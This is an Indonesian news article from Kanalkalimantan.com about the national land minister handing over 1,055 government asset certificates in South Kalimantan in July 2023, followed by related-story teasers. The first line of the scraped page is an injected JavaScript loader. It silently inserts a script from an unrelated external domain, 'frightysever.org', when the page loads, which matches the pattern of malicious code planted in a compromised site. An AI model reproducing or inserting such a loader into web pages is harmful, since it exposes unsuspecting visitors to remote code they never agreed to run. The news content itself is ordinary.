(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menteri Agraria dan Tata Ruang Badan Pertanahan Nasional (ATR BPN) Marsekal TNI (Purn) Hadi Tjahjanto menyerahkan 1.055 sertifikat aset milik pemerintah di Provinsi Kalimantan Selatan.
Penyerahan sertifikat secara simbolis dilaksanakan di gedung Idham Chalid perkantoran Setda Provinsi Kalsel, Kamis (13/7/2023) siang.
Menteri ATR mengatakan, jumlah sertifikat yang diserahkan sebanyak 1.055. Sertifikasi aset milik pemerintah adalah perintah Presiden Republik Indonesia Joko Widodo untuk mengantisipasi penyalahgunaan aset yang berakibat pada permasalahan hukum untuk itu diperlukan tata kelola yang baik.
Baca juga: ‘Jajan’ Enggan Kenakan Kondom, MS Cekik PSK Hingga Tewas di Landasan Ulin
Marsekal TNI (Purn) Hadi Tjahjanto menyampaikan, dengan diserahkannya sertifikat tanah itu, diharapkan dapat memberi rasa aman dan kepastian hukum hak atas tanah atas aset-aset Barang Milik Daerah (BMD) maupun aset Barang Milik Negara (BMN).
Pada kesempatan tersebut Hadi Tjahjanto juga mengajak pemda menyelesaikan Rencana Detil Tata Ruang (RDTR) untuk menarik investor masuk ke Banua.
“Saya sudah melihat datanya di Kalsel sudah mulai berproses, untuk target di Kalsel ada 49 RDTR, 11 RDTR sudah menjadi Perkada,” kata Kepala BPN ini.
Baca juga: SI Abang Permudah Laporan Realisasi Keuangan SKPD Pemko Banjarbaru
Disampaikan Kepala BPN, masing-masing daerah idealnya memiliki 4 RDTR, pertama tentang pariwisata, wilayah perindustrian, mitigasi gempa dan perkotaan.
Sementara itu, Gubernur Kalsel H Sahbirin Noor mengucapkan terima kasih atas dukungan Presiden Jokowi dalam mendorong penataan aset di Kalimantan Selatan.
“Terima kasih kepada bapak Presiden Republik Indonesia yang telah mengakselerasi legalitas tanah di Banua,” katanya.
Ditambahkan Paman Birin -biasa disapa-, dokumen resmi akan sangat membantu dalam mengelola dan mengoptimalkan pemanfaatan aset tanah. Dengan adanya sertipikat tanah, pemerintah daerah dapat melakukan penggunaan yang lebih tepat dan efektif sesuai dengan kebutuhan pembangunan daerah.
Baca juga: Raperda RTRW Kalsel 2023-2024 Disahkan, Mendukung Kalsel Pintu Gerbang IKN
Menurut Paman Birin, Pemprov Kalsel mendukung program dan kebijakan penataan aset. Gubernur Kalsel berkomitmen untuk turut berkontribusi dalam menyukseskan reforma agraria sebagai upaya meningkatkan kesejahteraan masyarakat melalui penataan aset dan akses yang lebih merata.
Sementara itu, Kepala Kanwil ATR BPN Kalsel Alen Saputra mengatakan, sudah 75 persen tanah di Kalsel terdaftar dan yang sudah bersertifikat sebanyak 54 persen. Ditambahkannya untuk milik Pemprov Kalsel yang sudah bersertifikat sebanyak 800 aset.
Pada kesempatan tersebut Paman Birin juga menerima secara simbolis sertipikat tanah milik Pemprov Kalsel yakni tanah di Panti Sosial Karya Wanita Melati di Banjarbaru dengan luas 14.560 meter persegi. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.